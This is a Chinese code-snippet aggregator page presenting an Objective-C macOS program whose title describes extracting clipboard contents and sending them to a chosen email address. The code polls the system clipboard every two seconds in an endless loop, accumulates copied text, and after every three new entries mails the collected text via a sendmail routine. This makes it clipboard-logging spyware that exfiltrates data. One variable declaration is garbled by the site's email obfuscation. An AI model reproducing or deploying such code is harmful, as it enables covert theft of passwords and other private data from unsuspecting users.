MAC 下提取剪切板内容 发送到指定邮箱
2020年02月13日
作者:佚名
下面是来客网 jb51.cc 通过网络收集整理的代码片段。
来客网小编现在分享给大家,也给大家做个参考。
// // main.m // test // // Created by Developer on 3/11/15. // Copyright (c) 2015 Developer. All rights reserved. // #import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #import "sendmail.h" void pasteboradread(); void pasteboradread1(); int main(int argc,const char * argv[]) { @autoreleasepool { // insert code here... // NSString *a = @"dddddddd"; NSLog(@"Hello,World!n"); pasteboradread1(); } return 0; } void pasteboradread1() { NSPasteboard *pasteboard = [NSPasteboard generalPasteboard]; NSString *plainText; //NSString *tempString = [NSString string]; NSString *tempString; NSString *[email protected]""; char * string; int count = 0; //NSFileManager *tempfile = [NSFileManager defaultManager]; //NSData *tempdata = [tempfile contentsAtPath:@"/tmp"]; while(1){ //是否能从剪切板提取 if ([pasteboard canReadItemWithDataConformingToTypes:@[NSPasteboardTypeRTF]]) { //从剪切板提取文字 plainText = [[pasteboard readObjectsForClasses:@[[NSString class]] options:nil]firstObject]; //[tempfile createFileAtPath:@"/tmp/work.txt" contents:<#(NSData *)#> attributes:<#(NSDictionary *)#>] //是否 if (![tempString isEqualTo:plainText]) { tempString = [NSString stringWithString:plainText]; saveString = [saveString stringByAppendingString:tempString]; NSLog(@"text:%@",tempString); count++; if (count == 3) { string = [saveString UTF8String]; printf("--------------------n%s",string); sendmail(string); count = 0; } } sleep(2); } } }
以上是来客网(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。
如果觉得来客网网站内容还不错,欢迎将来客网网站推荐给程序员好友。
以上是来客网为你收集整理的MAC 下提取剪切板内容 发送到指定邮箱全部内容,希望文章能够帮你解决MAC 下提取剪切板内容 发送到指定邮箱所遇到的程序开发问题。
如果觉得来客网网站内容还不错,欢迎将来客网网站推荐给程序员好友。